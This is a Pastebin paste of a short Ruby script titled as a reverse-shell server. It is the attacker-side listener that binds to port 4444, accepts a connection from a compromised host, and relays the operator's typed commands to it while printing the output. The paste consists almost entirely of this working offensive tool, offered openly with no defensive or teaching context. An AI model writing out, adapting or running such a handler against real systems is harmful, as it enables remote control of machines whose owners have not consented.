Advertisement
Guest User

Server_reverse_shell_tcp.rb

a guest
Jul 21st, 2011
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 0.60 KB | None | 0 0
  1. ################################
  2. #Jalal azedine
  3. #azedinejalal@gmail.com
  4. #http://w3xw3x.blogspot.com
  5. ################################
  6. require 'socket'
  7. include Socket::Constants
  8.  
  9. host = ""
  10. port = "4444"
  11.  
  12. sock = Socket.new(AF_INET, SOCK_STREAM, 0)
  13. sockaddr = Socket.pack_sockaddr_in(port, host)
  14. sock.bind(sockaddr)
  15. puts "Listning on 0.0.0.0:#{port}"
  16. sock.listen(2)
  17.     client, client_addrinfo = sock.accept
  18.     data = client.recv(1024)
  19.     puts "#{data}"
  20. while 1
  21.     print "> "
  22.     cmd = gets
  23.     break if cmd == "quit\n"
  24.     client.send(cmd , 0)
  25.     data = client.recv(1024)
  26.     puts "#{data}"
  27. end #while
  28. sock.close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement